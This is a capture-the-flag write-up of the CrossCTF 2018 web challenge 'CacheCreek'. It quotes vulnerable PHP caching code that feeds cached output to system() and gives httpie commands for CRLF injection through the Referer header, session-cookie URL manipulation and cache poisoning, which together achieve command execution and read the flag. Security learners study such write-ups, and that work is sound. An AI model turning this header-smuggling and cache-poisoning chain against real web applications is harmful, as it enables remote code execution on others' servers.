CrossCTF Finals 2018: CacheCreek (web)

I wrote a new cache mechanism, it is pretty cool, can you please review it for me?

Creator - quanyang (@quanyang)


First, we explored the entire source tree. The index and login pages have nothing interesting, but if you put ?source=1 on other pages, you can get the source.

First we find the cache reader, in cache.php: (From now on, we'll omit the unimportant parts)

if (isset($_GET['report']) && $_GET['report'] === "debug") {
    $debug = url_get_contents("". session_id(), 60, "index.php",['debug'=>'True']);
    echo "debug command: ".htmlentities($debug)."<br/>";
    echo 'debugged!';

echo "Caching Admin's Profile:<br />";
echo htmlentities(url_get_contents("". session_id(), 60, urldecode($_SERVER['HTTP_REFERER']),['view'=>'admin']));
echo '<br /><br />';

Cool, it calls system()! There's the interesting file called curl.php. Must be some URL fetching tool

    Adapted from a cache written by Carlo Alberto Ferraris <>
function cache($url, $min_expiration, $referer="", $params) {
    $min_expiration = max( intval( $min_expiration ), 1 );
    $cache_key = hash('sha256',$url) or die();
    $cache_file = CACHE_PREFIX . $cache_key;
    $cache_file_fullpath = CACHE_DIR . '/' . $cache_file;
    $cache_file_mtime = @filemtime($cache_file_fullpath);
    // If there's a cached file, this code reads from the file
    // If there isn't, fetch the URL and save to the file

function url_get_contents($url, $min_expiration=60, $referer="", $params=Array()) {
    return file_get_contents( cache( $url, $min_expiration, $referer, $params));

The contents of the thing it puts into system():

// We haz checks method and referer for security!11
if ($_SERVER['REQUEST_METHOD'] == "POST" && strpos($_SERVER['HTTP_REFERER'], 'index.php') !== False ) {
    if ($_POST['debug'] === "True") {
        // Maybe delete the tmp directory
        echo 'rm -f '. CACHE_DIR . '/'.CACHE_PREFIX.'*';
    } else if (isset($_POST['view'])) {
        $connObj = new dbConn();
        $profile = $connObj->getProfile($_POST['view'])['profile'];
        echo $profile;
} else {
    die("die hax0r!!11");

This can't be a SQLi thing. This must have something to do with caching as the title suggests. And I noticed that I could inject request body into CURL by setting $referrer to the "rest" of the HTTP request.

export user='dadada' length=11
http -v --form POST Referer:"index.php%0D%0AContent-Length%3A%20$length%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Aview%3D$user"

This kinda produces a HTTP request to view any user. I also found out I could modify the request URI by setting SESSID cookie since session_id() was put into the request URL:

http -v Cookie:PHPSESSID=True%26source%3D1

We didn't know how to proceed after this and stared at it for hours. With some luck, we got reminded about cache poisoning! Completely forgot that was a thing. Ugh.

So the cache function importantly uses the URL to generate the filename to store the file contents. If we could make the debug function in cache.php read the wrong cache file, it could execute arbitrary code using system().

To exploit this, we have to make it store a cache file maliciously using the profile caching thing (sorry I'm sleepy). That means we have to produce the same URL as the URL that the debug code would look up ("". session_id()), inside the profile lookup code.

Since the profile lookup code requsts from "". session_id(), we can substitute session_id() for debug and we'll get the same internal URL!

# full cached url would be
# Poison cache with profile of "admin"
http -v Cookie:PHPSESSID=debug Referer:index.php
# Poison cache with profile of "dadada"
export user='dadada' length=11
http -v --form POST Referer:"index.php%0D%0AContent-Length%3A%20$length%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Aview%3D$user" Cookie:PHPSESSID=debug

Now we need to execute that code inside the cached file:

# full cached url would be
http -v --form POST Cookie:PHPSESSID= Referer:index.php report==debug
POST /cache.php?report=debug HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: index.php
User-Agent: HTTPie/0.9.9

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Content-Encoding: gzip
Content-Length: 104
Content-Type: text/html
Date: Mon, 18 Jun 2018 20:01:05 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.7 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.25

debug command: cat /flag.txt<br/>CrossCTF{Dont_h@te_tHe_aUth0r_hat3_d@_gam3}